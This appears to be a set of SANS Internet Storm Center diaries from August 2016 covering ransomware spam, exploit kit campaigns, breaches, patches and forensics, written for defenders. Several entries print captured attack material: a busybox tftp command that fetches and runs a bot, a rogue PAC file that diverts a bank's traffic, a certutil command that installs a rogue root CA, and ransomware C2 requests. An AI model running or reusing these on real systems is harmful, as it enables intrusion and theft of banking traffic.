We have had a report from one of our readers (thanks Andrew) indicating that they are seeing Angler Exploit Kit attempts in the past 2 days appearing to be tied to Heart Internet. I am not seeing any activity in my logs. 

Is anyone else seeing this type of activity in your weblogs?

Deb Hale

If you use any of these Cisco Devices please take recommended action.

WebEx Player - http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160831-meetings-player

Cisco Small Business 220 Series Smart Plus (Sx220) Switches-  http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160831-sps3

Cisco Small Business SPA3x/5x Series - http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160831-spa

Deb Hale

Dropbox has just been added to the myriad of sites that have been hacked.  It seems that back in 2012 there was a breach and around 60 million accounts were stolen.  There is now evidence surfacing that the details from the accounts are out there.  Dropbox is forcing password changes for a number of users that have been affected. 

I don’t use dropbox but have a number of our employees that do so I went to www.haveibeenpwned.com to check their accounts.  Sure enough I had a couple that were included in the list.  I immediately notified the users to change their dropbox passwords.  Out of curiosity I checked my email addresses… I use several for security purposes.  I found that 3 of mine were listed.  One was for a potential breach at Logmein.com.  They notified me several weeks ago and when I logged in I was forced to change my password.  I felt pretty good about that.  However, what I discovered today is that I also had a potential breach from Adobe.com which I was not notified of on 2 of my email addresses.  I forgot that I had even setup an account on the one email address.  I also discovered that I had a potential breach on an email address that I no longer use for myspace.com.  Of course, no way to change this password because that email address has been done away with. I requested my account to be removed. Hopefully, they will take care of that. Interesting that I have a subscription to one of the so-called financial protection sites that are supposed to be watching for these and notifying me when it happens.  I was notified by them about 6 weeks after I received the email from Logmein that I may have been breached.  They have never notified me of the others.  I guess I will keep an eye on my email addresses using the previously mentioned website.

I then started looking at some key email addresses here in the company.  One of them had a potential breach on linkedin.com.  I notified the user and his response was so why would they steal LinkedIn information.  My response, not sure…  Perhaps they are banking on people using the same password for other accounts such as banking/credit card accounts.  If they happen on to the email address in some other “breach” (such as your bank or your credit card) they will try the password.  His response was might be a good time to change some passwords.

An article on Motherboard concerning the breach states:

This is just the latest so-called “mega-breach” to be revealed. This summer, hundreds of millions of records from sites such as LinkedIn, MySpace, Tumblr, and VK.com from years-old data breaches were sold and traded amongst hackers.

Perhaps it is a good time to change those passwords as well. I try not to use the same password for multiple sites and I strive to use good strong passwords. I have devised a scheme in creating my passwords that allows me to recall the password from any site even though all of the passwords are different. 

Many thanks to Troy for the haveibeenpwned.com website. 

For more information about the Dropbox breach see …

http://motherboard.vice.com/read/hackers-stole-over-60-million-dropbox-accounts

https://www.troyhunt.com/the-dropbox-hack-is-real/

Deb Hale

Pretty much all the Locky variants I have looked at the last couple days arrived as zipped JavaScript files. Today, I got something slightly different. While the e-mail looked the same overall, the file was a zipped Windows Script File (.wsf). Overall, this isn't all that different. "Windows Script" is essentially JavaScript. The only difference is the tag at the beginning of the file.

Today's subject for the e-mail was "Transaction details". Once the user runs the script by double-clicking the file, it will download the actual crypto ransomware.

GET /2tn0o HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Trident/7.0;
 .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: onlybest76.xyz
Connection: Keep-Alive

Just like earlier versions, it then "registers" the infected system with a website that is only identified by its IP address, so you will not see a DNS lookup for it:

POST /data/info.php HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://95.85.19.195/data/
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Trident/7.0; 
.NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: 95.85.19.195
Content-Length: 942
Connection: Keep-Alive  

[post data omitted]

Anti-Malware proves its usual value by doing probably slightly better than a blind chicken in protecting you from this malware. You can download a file with packet capture, mail server logs, and the malware sample here (password: "blind chicken" ).

Between 9am and 1:30pm UTC, I received 1425 e-mails that match this pattern.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

My Twitter feed brought a good paper to my attention, courtesy of Andrew Case @attrc, that is appropriate for your consideration, Storm Center readers.

@Cyber_IR_UK stated that it's the "best paper I've ever read for Intrusion detection with Windows Events!" That might be a bit strong, but it is good, and well worth reading and consideration.

Here's the abstract:

"Nowadays computer attacks and intrusions have become more common affecting confidentiality, integrity or the availability of computer systems. They are more sophisticated making the job of the information security analysts more complicated, mainly because of the attacking vectors are more robust and complex to identify. One of the main resources that information security people have on their disposition are Indicators of Compromise (IOCs), which allow the identification of potentially malicious activity on a system or network. Usually IOCs are made off virus signatures, IP addresses, URLs or domains and some others elements, which are not sufficient to detect an intrusion or malicious activity on a computer system. The Windows event logs register different activities in a Windows® operating system that are valuable elements in a forensic analysis process. IOCs can be generated using Windows event logs for intrusion detection, improving Incident Response (IR) and forensic analysis processes. This paper presents a procedure to generate IOCs using Windows event logs to achieve a more efficient diagnostic computer system for IR."

You can grab the paper from ThinkMind here: http://www.thinkmind.org/index.php?view=article&articleid=icimp_2016_2_20_30032

Using IOC Editor and Splunk, the authors asserted a reasonable approach to IOC development with logical operators connecting Event IDs based on kill chain concepts.

I plan to test this approach further, and will advise readers regarding success. Additionally, if you've deployed similar methods with some success, please let us know here via comments. Thanks and cheers.

We all receive spam of all kind, some with malicious URL and other with strange files attachments. This week we have been receiving several java scripts as email attachments and most of them with malicious intent. I picked one of the many files received and (after unzipping the file twice) checked the MD5 hash in Virustotal, this file was never submitted. The script is well obfuscated but after submitting the sample to Virustotal, it shows this javascript as JS/Nemucod and is used to download ransomware and information stealing malware.

5042.js Javascript Partial Snapshot

Using this javascript beautifier[5], it help make some sense of what this script is attempting to do. It is now much easier read the script and see the variables:

Some ways to protect against malicious email attachments:

- First step is to verify what your organization allows through the enterprise anti-malware gateway
- Delete or report to the security team any attachments which contains .exe but there are other files that can be malicious such as  .bat, .cmd, .com, .cpl, .hta, .jar, .js, .msi, .pif, .reg. This list is not exhaustive
- Office or PDF documents received from unknown senders, they could contain malware
- Fake extensions or "double extensions" (i.e. .exe.jpg)

Last, obviously, nothing is foolproof, if unsure ask your security team to check the file.

[1] https://www.virustotal.com/en/file/1f7b32e6db703817cab6c2f7cb8874d17af9d707ce17579dc30aee2cdadf082f/analysis/1472406596/
[2] d4f9a9841d0b369dfe1a9a7f2f71a14e  crlxa15dd4e.zip
[2] d1c5211c76b35b1bbc1b51b36a34228d  5042.zip
[3] 8f690b5b5e2be8d242bf48dad4e2038e  5042.js
[4] https://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?Name=JS/Nemucod
[5] http://jsbeautifier.org/
[6] https://isc.sans.edu/forums/diary/JavaScript+Deobfuscation+Tool/20619

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Catching ransomware is pretty easy these days. I setup a procmail filter that will extract all e-mails with compressed JavaScript attachments. Whatever is left in the morning after AV decimated the folder I will usually take a quick look at.

Today, I got a bunch of e-mails with the subject "office equipment":

Sure enough. I run it in a virtual machine and end up with the usual crypto ransomware screen:

This time, the malware doesn't even try to hide. One of the hostnames used by this run is "brothermalw.ws". In addition, the samples all use the exact same user agent string, which doesn't match the browser installed on the infected system (It was Windows 10, but the malware used an IE 7.0 user agent string):

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

So pretty easy to now pull out the URLs that the malware connect to from bro:

zcat http* | bro-cut method host uri user_agent | grep 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)' | awk '{print $1 , $2 , $3}' | sort -u

GET 210.240.104.2 /upp0nqa
GET brothermalw.ws /06qbbzy7     <---------- Yes... they are not even trying to hide the fact that this is malware ;-)
POST 51.254.55.171 /data/info.php
GET baer-afc2.homepage.t-online.de /4yhgvna
GET realm-of-rage.heimat.eu /ut1s5
GET rejoincomp2.in /1tdqo6
GET www.dsalchi.org /uk0lo
GET www.galleriacolonna.org /yhcx6y
POST 138.201.191.196 /data/info.php
POST 188.127.249.203 /data/info.php
POST 51.254.55.171 /data/info.php
POST nkyhrjiaeqcmtqth.pw /data/info.php

As so often, "/data/info.php" may actually also do a pretty good job in detecting these infections. Snort already alerts on the requests to ".pw" hosts.

Indicators of compromise: The IPs and the host names appear to be too ephemeral to be useful as IoCs. I would suggest the "/data/info.php" URL. I don't see that used a lot in non-malicious requests.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

A new spyware has been discovered on the Apple platform. Called Pegasus [1], it turns out to be a sophisticated targeted spyware. Developed by professionals, it uses 0-day vulnerabilities, code obfuscation and encryption techniques.

Apple released today an out-of-band patch for iOS (version 9.3.5) [2]. It fixes three critical vulnerabilities:

CVE-2016-4655 (Memory Corruption in Safari Webkit)
A memory corruption vulnerability exists in Safari Webkit that allows an attacker to execute arbitrary code. Pegasus exploits this vulnerability to obtain initial code execution privileges within the context of the Safari web browser.

CVE-2016-4656 (Kernel Information Leak Circumvents KASLR) 
Before Pegasus can execute its jailbreak, it must determine where the kernel is located in memory. Kernel Address Space Layout Randomization (KASLR) makes this task difficult by  mapping the kernel into different and unpredictable locations in memory. 

CVE-2016-4657 (Memory Corruption in Kernel leads to Jailbreak)
The third vulnerability in Pegasus’ Trident is the one that is used to jailbreak the phone. A memory corruption vulnerability in the kernel is used to corrupt memory in both the 32- and 64-bit versions. The exploits are performed differently on each version.

Check on the Apple website if the patch is available for your device and install it as soon as possible (via the usual way: iTunes or Software Updates on your device)

[1] https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf
[2] https://support.apple.com/en-us/HT207107

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Yesterday, I discovered a nice example of targeted attack against a Brazilian bank. It started with an email sample like this:

This message was sent to a Brazilian citizen. Redacted in Portuguese, it could be approximately translated with the help of Google to: "Please find attached the pay slip of Augustus 2016 which expires on Monday 29/08/2016...".

The picture is a link to a RAR file "visualizar_imprimir.rar" (MD5: c2781a11e7de53cc0ddb2161628454cb) which contains a malicious PE file "visualizar_imprimir.exe" (MD5: c5e9014a82a889dcf2c5fd66ba5f1dca). This file had a VT score of 0/55 [1] when I scanned it for the first time (24/08/2016 12:09 UTC). [Update: this morning, the score is 1/55 - Kasperski reports it as malicious]

The malware is quite simple. First, it changes the Internet settings by modifying the following registry key for the current user:

\REGISTRY\USER\S-1-5-21-xxxxxxxx\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = http://chrome-ie.com.br/1.png

Note: files from 0.png to 9.png are available and they have the same content.

This registry key will force the browser to fetch the file and apply the new settings. Indeed, the file "1.png" is not a picture but a rogue PAC[2] file that contains a filter for only one URL: the Brazilian bank website. Here is a dump of the PAC file:

function FindProxyForURL(url, host)
{
var a = "PROXY 200.98.202.51:1023";
if (shExpMatch(host, "www.san*ander.com.br*")) {
     return a;
}

if (shExpMatch(host, "san*ander.com.br*")) {
     return a;
}

return "DIRECT";
}

The IP address is located in Brazil [3].

The next step performed by the malware is to install a rogue root CA certificate to prevent all annoying pop-ups for the user when he will visit the bank website:

cmd /C certutil -addstore -user root %USERPROFILE%\AppData\Roaming\1.cer

Finally, all running browsers are killed (in the hard way!) to force a reload of its configuration. Note that when I performed my analysis, only Chrome was killed. I presume that the malware searches for running browsers and only kill them if found.

taskkill /F /IM “chrome.exe"

From now, if the victim visits "www.san*ander.com.br*", his/her browser will forward all requests to the rogue proxy server running on 200.98.202.51:1023 otherwise it will fetch all other URLs directly. I tested the proxy (a Squid/3.3.8) with other URLs and I always got a permission denied. Normal behavior or configuration error? I don't know.

If you configure manually your browser with the IP address and port above as a proxy and you try to access www.santander.com.be, you will be presented with the rogue SSL certificate:

Here is the good one (issued by GeoTrust):

As you can see with this example, it is quite easy to hijack the traffic from specific websites. With this technique, no need to use a complex exploit or to try to break the encryption. Just change the browser behavior and you will get a copy of all the victim's traffic.

Stay safe!

[1] https://www.virustotal.com/en/file/cccbd8a8d485d386486cf790ada90415ac71ef7e637e7abcc4d39bf443d7b4fe/analysis/1472040570/
[2] https://en.wikipedia.org/wiki/Proxy_auto-config
[3] %%ip:200.98.202.51%%

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

When responding to incidents, it’s easy to go down a rabbit hole that likely won’t produce results to the questions we are always after: How did the attacker get in? What information is contained on the system? And What information was accessed?

To streamline analysis we need to determine what information is most useful for each incident classifications, this gives more flexibility to SOPs by pulling these into a methodology depending on the investigation. Rather than adding these processes over and over into different procedures documents (which all may not get updated) you can link to one process from the methodology.

Additionally, you can chart out specific items (e.g. determine logged-in username for computer) similar to the SANS forensics poster for where to get specific data for user activity. (P is primary source. S is secondary)

Do anyone else use a similar process or have a better one?Leave a comment.

--

Tom Webb

@twsecblog

Bad guys need to constantly find new ways to lure their victims. If billing notifications were very common for a while, not all people in a company are working with such kind of documents. Which types of notification do they have in common? All of them have a phone number and with modern communication channels ("Unified Communications") like Microsoft Lync or Cisco, everybody can receive a mail with a voice mail notification. Even residential systems can deliver voice message notifications.

Here is an example displayed in Microsoft Outlook:

Today, I received a wave of emails like the following:

From: voicemail@rootshell.be
To: [redacted]
Subject: [Vigor2820 Series] New voice mail message from 01422520472 on 2016/08/23 15:55:25

Dear [redacted]:

There is a message for you from 01422520472, on 2016/08/23 15:55:25 .
You might want to check it when you get a chance.Thanks!

The sender is spoofed with the victim domain name. The following file was attached to the message: 

$ unzip Message_from_01422520472.wav.zip
Archive:  Message_from_01422520472.wav.zip
    testing: 197577509502.wsf         OK
No errors detected in compressed data of Message_from_01422520472.wav.zip.
$ md5sum 197577509502.wsf
f2ee33a688a45b161d3191693196cb1d  197577509502.wsf

Note the '.wav.zip' extension to lure the user. As usual, the payload is heavily obfuscated and the AV detection ratio is still very low (6/55 at 11:55:00 UTC)[1]

Vigor is UK company building ADSL residential modems[2]. This tends to think that the new wave is targeting residential customers.

Here are the C2 servers (for your IDS):

%%ip:89.42.39.81%%
%%ip:213.205.40.169%%
%%ip:51.254.55.171%%
%%ip:194.67.210.183%%
%%ip:185.51.247.211%%
%%ip:185.129.148.19%%
%%ip:91.201.202.125%%

[1] https://www.virustotal.com/en/file/97be73cf491cf8e4d30e0e6d9b73e95151f77b3e52813e06b2ef391fa6f26b2a/analysis/1471949327/
[2] http://www.draytek.co.uk/products/legacy/vigor-2820

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Two kits favored by red teams and penetration testers have been updated recently, namely hashcat and SpiderFoot. Hashcat and SpiderFoot together read like a Robert Redford/Paul Newman movie title (yes, I'm that old). :-) Thanks to handler Rob Vandenbrink for the hashcat call out.

Hashcat v3.10: The world's fastest password cracker, and the world's first and only in-kernel rule engine

• Added some workarounds to deal with problems caused by broken OpenCL installation on the host system
• Improved rule-engine: Enabled support to use the missing @ rule on GPU
• Improved rule-engine: On Nvidia, the rule-engine got a small performance improvement

SpiderFoot 2.7.0: An open source intelligence automation tool to automate the process of gathering intelligence about a given target: IP address, domain name, hostname or network subnet. SpiderFoot can be used offensively, i.e. as part of a black-box penetration test to gather information about the target or defensively to identify what information your organisation is freely providing for attackers to use against you.

• Six (6) new modules:
  • BotScout.com search for malicious e-mail addresses
  • MalwarePatrol.net search
  • IBM X-Force Threat Exchange search
  • Amazon S3 bucket search
  • Phone number identification
  • Public vulnerability search (PunkSpider and XSSposed)
• Authentication and HTTPS support
• Scan by use case: e.g. use "Passive" for gathering info without touching the target
• SpamCop, bitcash.cz, VXVault, VOIPBL and more added as malicious data sources
• Pastie and Notepad.cc added as data paste sources
• Data can be flagged as false positive in the UI (with trickle-down effect)
• Bunch of bug fixes and minor enhancements
• User manual updated: http://www.spiderfoot.net/documentation/

Looking back through all the vulnerabilities announced this week, one caught my eye. CVE-2016-6366 is a vulnerability in the Cisco ASA products which could allow a remote attacker to remotely execute code. This vulnerability is part of the Equation Group disclosures and was not previously known by Cisco. The vulnerability is in the SNMP code on the ASA and would allow an attacker with knowledge of the SNMP community string to send crafted IPv4 SNMP traffic which could be used to reload the system or possibly exploit the system to gain control.

The likelihood of being able to exploit this is low for those of us who have deployed in a secure manner:  

- management interfaces not exposed to hostile networks

- SNMP strings set to a secure value (non-default!)

- etc. 

But for those of you who have needed to deploy Cisco ASA in a less than optimal configuration, you may want to keep an eye on this one.  

As always the answer is "patch soon"!

There is a snort rule to detect the attempted exploitation of this vulnerability (Snort Rule ID: 3:39885).

See CCIRC or Cisco's announcement for more details

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

• Ask yourself regularly "Who can I share that lesson with”
• Establish an informal mentoring program at your $DayJob
• Serve in the leadership of your local security group such as BSides, ISSA, InfraGard, ECTF, OWASP
• Volunteer at your next local information security event 
• Reach outside our information security community

Data classification isn’t a brand new topic. For a long time, international organizations or military are doing "data classification”. It can be defined as:

“A set of processes and tools to help the organization to know what data are used, how they are protected and what access levels are implemented”

Military’s levels are well known: Top Secret, Secret, Confidential, Restricted, Unclassified.

But organizations are free to implement their own scheme and they are deviations. NATO is using: Cosmic Top Secret (CTS), NATO Secret (NS), NATO Confidential (NC) and NATO Restricted (NR). EU institutions are using: EU Top Secret, EU Secret, EU Confidential, EU Restricted. The most important is to have the right classification depending on your business!

Data classification is not only used by IT teams but also by all data, applications or process owners in the organization. The implementation of data classification is definitively not an easy process but will more and more become mandatory, especially in Europe. EU adopted a new regulation called “General Data Protection Regulation” (GDPR) [1] that will be effective by May 2018. Its goal is to protect users data. To resume the new rules regarding data:

• Organizations will need the user’s consent before collection PI (“Personal Information”).
• Data must be wiped after a predetermined period
• In case of a data breach, users and authorities must be notified within 72 hours.

The last point is critical because according to a study [2], most companies take over six months to detect data breaches! And data classification help you to better protect your data. The process is based on the following steps:

1. Identify (assets, data)
2. Create your protection profiles
3. Deploy the protection profiles and enforce them
4. Review
5. Reclassify data & improve

Don't be fooled, this is a very complex process. Even the first step can be very difficult for many organizations but,  once it's done, it's easy to label any new type of data. We see that more and more products and tools started to take care of privacy and data classification. Two examples:  Microsoft launched the “Windows Information Protection”[3] (for Windows 10 Anniversary Update & Office 365 Pro) which includes features to identify different types of information, determine which apps have access to it, and provide the basic controls (example: Copy and Paste restrictions). The open source world also embraces data classification. The latest LibreOffice release provides document classification according to the TSCP standard[5].

You can also implement a basic data classification at the operating systems level. Modern OS can apply “tags” on files and directories. On my Macbook, I defined the TLP standards and apply them to some of my files:

Some Linux distributions implement also a system to tag files. Via the GUI (here Nautilus):

But you can perform the same from the command line (read: on servers too). Here is an example based on Debian. If not available by default, install the required tools[6]:

# apt-get install tracker-utils

Then, enable the indexing services:

# tracker-control -s

You can now add tags to files:

# touch super-secret.txt
# tracker-add -a TLP:RED super-secret.txt
Tag was added successfully
  Tagged: file:///root/super-secret.txt

Now you can search for tagged files:

# tracker-tag -t -s TLP:RED
Tags (shown by name):
  TLP:RED
    file:///root/super-secret.txt

To conclude this diary, my advice is to keep in mind that data classification will get more and more focus in the near future. Be ready to kick off such project inside your organization. And you? Did you already implement data classification? Do you have plans? Please share your tips. 

[1] https://en.wikipedia.org/wiki/General_Data_Protection_Regulation
[2] http://www.zdnet.com/article/businesses-take-over-six-months-to-detect-data-breaches/
[3] https://blogs.technet.microsoft.com/windowsitpro/2016/06/29/introducing-windows-information-protection/
[4] https://blog.documentfoundation.org/blog/2016/08/03/libreoffice-5-2-fresh-released-for-windows-mac-os-and-gnulinux/
[5] https://www.tscp.org/
[6] https://packages.debian.org/sid/tracker

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Introduction

Earlier today, I ran across a compromised website with injected script from both the pseudo-Darkleech campaign and the EITest campaign.  This is similar to another compromised site I reported back in June 2016, shortly after Angler exploit kit (EK) disappeared from the EK scene [1].  At that time, the pseudo-Darkleech and EITest campaigns had switched to Neutrino EK.

Earlier week, we saw reports on pseudo-Darkleech and EITest switching between Neutrino EK and Rig EK [2, 3].  These two campaigns have a history of switching EKs [4, 5, 6, 7].  Because of that, I generated infection traffic from both campaigns campaigns using the same compromised site.  This diary examines infection from both campaigns.

For the relationship between campaigns and EKs, see this blog post.

Shown above:  Flow chart for one compromised website used by two campaigns.

In the images below, you'll find injected script from both campaigns in the same web page.

Shown above:  Injected script from the pseudo-Darkleech campaign at the beginning of the page.

Shown above:  Injected script from the EITest campaign near the end of the same page.

As previously noted, I've never seen both infections at the same time.  I've only generated EK traffic from one campaign or the other.  Injected script from the pseudo-Darkleech campaign tends to prevent injected script by other campaigns from running.

Pseudo-Darkleech Neutrino EK infection

By July 2016, injected script from the pseudo-Darkleech campaign had changed patterns, and that pattern of injected script remains in use as of mid-August 2016.  In today's infection traffic from the pseudo-Darkleech campaign, we saw Neutrino EK send CrypMIC ransomware.

Shown above:  Traffic from the pseudo-Darkleech infection filtered in Wireshark.

For those unfamiliar with CrypMIC ransomware, it's a new branch of the CryptXXX family first reported on 2016-07-06 [8].  At first, I continued calling it CryptXXX, despite some noticeable differences in post-infection activity.  Others soon noticed this new branch was using a different versioning format than the original branch of CryptXXX [9].  By 2016-07-20, TrendLabs analyzed the new branch, dubbing it "CrypMIC" [10], and I've been calling it CrypMIC ever since.

Reading the pcap with Snort 2.9.8.3 using the Snort subscriber ruleset, I saw alerts for Neutrino EK.

Shown above:  Alerts seen from reading the pcap with Snort.

Using the ET Pro rulset, I also saw alerts for the post-infection traffic from CrypMIC (the new branch of CryptXXX).

Shown above:  Alerts from Sguil in Security Onion using Suricata and the ET Pro ruleset.

Below are images from the traffic showing Neutrino EK and the post-infection activity.

Shown above:  Neutrino EK landing page.

Shown above:  Neutrino EK sends Flash exploit.

Shown above:  Neutrino EK sends the CrypMIC malware payload (encrypted).

Shown above:  CrypMIC callback traffic (custom encoded).

Shown above:  CrypMIC sends text-based decypt instructions.

Shown above:  CrypMIC sends HTML-based decypt instructions.

The infected host looks like we've seen in recent CrypMIC infections.  Of note, I haven't seen any infections using the previous branch of CryptXXX since 2016-07-25 [11].

Shown above:  Desktop of the infected Windows host after rebooting.

EITest Rig EK infection

Injected script and traffic patterns from the EITest campaign have remained relatively consistent since Malwarebytes first identified this campaign in 2014 [12].  Back then the EITest campaign usually led to Angler EK.  We've seen it switch back and forth between Angler EK and Neutrino EK in 2015 and 2016.  After Angler EK disappeared, the EITest campaign appears to have stuck with Neutrino EK until recently.  Earlier this week, the EITest campaign led to Rig EK [2].  Today's EITest infection chain also led to Rig EK, and it delivered a possible Vawtrak variant.

Shown above:  Traffic from the EITest infection filtered in Wireshark.

Reading the pcap with Snort 2.9.8.3 using the Snort subscriber ruleset, I saw alerts for the EITest gate and Rig EK.  I also saw an alert for an .ru domain.

Shown above:  Alerts from reading the pcap with snort (image 1 of 2).

Shown above:  Alerts from reading the pcap with snort (image 2 of 2).

Using the ET Pro rulset, I saw alerts for Rig EK.  Of note, Sundown EK has traffic patterns similar to Rig EK, so we see alerts for Sundown EK also in the list.  But Sundown EK delivers its payload using different URL patterns than Rig EK, and the overall traffic is a solid fit for Rig EK.

We also see alerts for a possible Vawtrak variant that fit recent updates Vawtrak has reportedly made over the last few weeks [13].

Shown above:  Alerts from Sguil in Security Onion using Suricata and the ET Pro ruleset.

Below are images from the traffic showing Rig EK and the post-infection traffic.

Shown above:  Rig EK landing page.

Shown above:  Rig EK sends a Flash exploit.

Shown above:  Rig EK sends the Flash exploit again.

Shown above:  Rig EK sends the malware payload.

Shown above:  Certificate data from the post-infection TLS traffic.

The malware is fairly basic in setting itself up for persistence.  Shown below is the updated Windows registry key and location of the malware on an infected host.

Shown above:  Registry key update and malware location.

Indicators of compromise (IOCs)

Pseudo-Darkleech Neutrino EK indicators:

• 37.187.221.148 port 80 - fussabtr.gymeme.co.uk - Neutrino EK
• 85.14.243.9 port 443 - CrypMIC post-infection traffic (custom encoded & clear text)

SHA256 hash of CrypMIC payload (.dll file):

• 03022e074c0b2a519f07bec3df48dbf15dcd0a3f3648c2a3cff463719a7dc4f3

EITest Rig EK indicators:

• 85.93.0.13 port 80 - kydiris.xyz - EITest gate
• 131.72.139.215 port 80 - i45h5.kinfacitontjo.top - Rig EK
• 194.67.209.108 port 443 - ubmfotihexo.ru - post-infection HTTPS/TLS traffic
• 217.29.58.167 port 443 - sgtxgkbi.ru - post-infection HTTPS/TLS traffic
• 185.14.28.107 port 80 - attempted TCP connection, no response
• 95.183.12.4 port 80 - attempted TCP connection, no response

SHA256 hash of possible Vawtrak variant payload (.exe file):

• 506cb1459dd2fb79226dcb47811618b83e7bfaaff67eb1449f73eebdca9664da

NOTE:  Keep in mind that IP addresses and domains for both Neutrino and Rig EKs are constantly changing.  The IOCs will probably have changed by the time you read this.

Final words

As always, properly administered Windows hosts following best security practices (up-to-date applications, latest operating system patches, software restriction policies, etc) should not be infected when running across these campaigns.

Unfortunately, a large percentage of people don't follow best practices, and their computers remain at risk.  Until this situation changes, actors distributing malware through EK-based campaigns remain a significant threat.

Pcap and malware for this diary are located here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

References:

[1] https://isc.sans.edu/forums/diary/Neutrino+EK+and+CryptXXX/21141/
[2] http://www.broadanalysis.com/2016/08/15/rig-exploit-kit-via-eitest-delivers-gootkit-banking-malware/
[3] http://www.malware-traffic-analysis.net/2016/08/16/index.html
[4] https://isc.sans.edu/forums/diary/Actor+using+Angler+exploit+kit+switched+to+Neutrino/20059/
[5] https://isc.sans.edu/forums/diary/Actor+that+tried+Neutrino+exploit+kit+now+back+to+Angler/20075/
[6] https://isc.sans.edu/forums/diary/Whats+the+situation+this+week+for+Neutrino+and+Angler+EK/20101/
[7] https://isc.sans.edu/forums/diary/EITest+campaign+still+going+strong/21081/
[8] https://isc.sans.edu/forums/diary/CryptXXX+ransomware+updated/21229/
[9] https://www.proofpoint.com/us/threat-insight/post/spam-now-with-side-of-cryptxxx-ransomware
[10] http://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/
[11] http://malware-traffic-analysis.net/2016/07/25/index2.html
[12] https://blog.malwarebytes.com/threat-analysis/2014/10/exposing-the-flash-eitest-malware-campaign/
[13] https://threatpost.com/vawtrak-banking-trojan-adds-dga-ssl-pinning/119901/

Recently I ran across a tweet from Packet Watcher @jinq102030 (https://twitter.com/jinq102030/status/756476442590842880)  to keep an eye on HTTP error code 522 for possible malware check-ins. 522 code could mean several things, but as for IR it's a potential malicious host has been pulled offline and you have a client still trying to connect.    So I got our Intern to check bro logs and see what he could find. 

>zcat http* | bro-cut ts id.orig_h id.resp_h host status_code | awk '$5 == "522"

1467159441.247406    192.128.1.216    104.27.182.19    -    522
1467160356.407366    192.128.1.216    104.27.183.19    -    522
1467161271.647320    192.128.1.216    104.27.183.19    -    522
1467163102.087490    192.128.1.216    104.27.183.19    -    522
1467164017.337316    192.128.1.216    104.27.183.19    -    522
1467164932.547084    192.128.1.216    104.27.182.19    -    522
….
1467182323.201685    192.128.1.216    104.27.182.19    -    522
1467183238.447046    192.128.1.216    104.27.183.19    -    522
1467184153.641505    192.128.1.216    104.27.183.19    -    522
1467185068.903194    192.128.1.216    104.27.182.19    -    522
…

There was other traffic that was false positives, but you could easily tell that this IP was checking this site on a regular basis.  Out of 4GB of compressed bro logs for the day we only had about  200 total lines that matched, so very low noise ratio.

When looking at the full packet capture of the system in question, we were able to tell that the system in question was compromised and downloaded a bot . 

cd /tmp || cd /var/ || cd /dev/;busybox tftp -r min -g 91.134.141.49;cp /bin/sh .;cat min >sh;chmod 777 sh;./sh.

This is certainly something we are going to keep looking at for finding more compromised system.

--

Tom Webb

@twsecblog

I was trolling through the readme's for the latest batch of patches from Microsoft, and found this tidbit in the doc for MS16-099 (https://support.microsoft.com/en-us/kb/3177451):

Administrator can use the Group Policy to block running any macro in the files that are download from the Internet in Office 2013 applications. This feature is same as in Office 2016 applications. See the following articles for more information:

===============
Rob VandenBrink
Compugen

Most of the times we care about and focus on external threats, looking for actors that may attack us via phishing emails, vulnerable web services, misconfigured network devices, etc. 
However, sometimes the threat may come from the inside. In fact, it is not so uncommon to have disloyal/disgruntled employees exfiltrating information from the company (e.g. Intellectual Property to competitors, confidential information to the press, etc.). In such situations, a full forensics analysis of the employee’s devices (workstation, mobile, etc.) is required to understand what happened and get comprehensive timeline of the events. 
As one of the areas I like to research is mobile forensics, particularly related to iOS devices, I thought I would briefly write about some findings that should be of interest when analyzing an iOS device, in particular a quick comparison between three popular Instant Messaging applications. The tests for this diary have been made on an iPhone 4S running iOS 9.0.2.

iOS Forensics General info
Starting from iOS8, application data have been separated from their bundles and current directory structure is the following:

• /private/var/mobile/Containers/Bundle/Application//, where the application bundle is stored.
• /private/var/mobile/Containers/Data/Application/, where most of the application data is stored.
• /private/var/mobile/Containers/Shared/AppGroup//, where applications can store data with the aim to be shared with other apps or extensions.

Another interesting background information we need to remember is the fade-out effect on iOS. Every time a user presses the Home button or receives a call while using an application, iOS will make a “snapshots” of the current screen in order to be able to do the fade-out effect transition between the two screens. Such snapshots are stored in the following locations:

• /private/var/mobile/Library/Caches/Snapshots/ for the pre-installed Apple applications;
• /private/var/mobile/Containers/Data/Applications//Library/Caches/Snapshots/, for each third-party application

If you receive a call while writing a super secret encrypted message, you can easily imagine what the content of the snapshot will be ;).

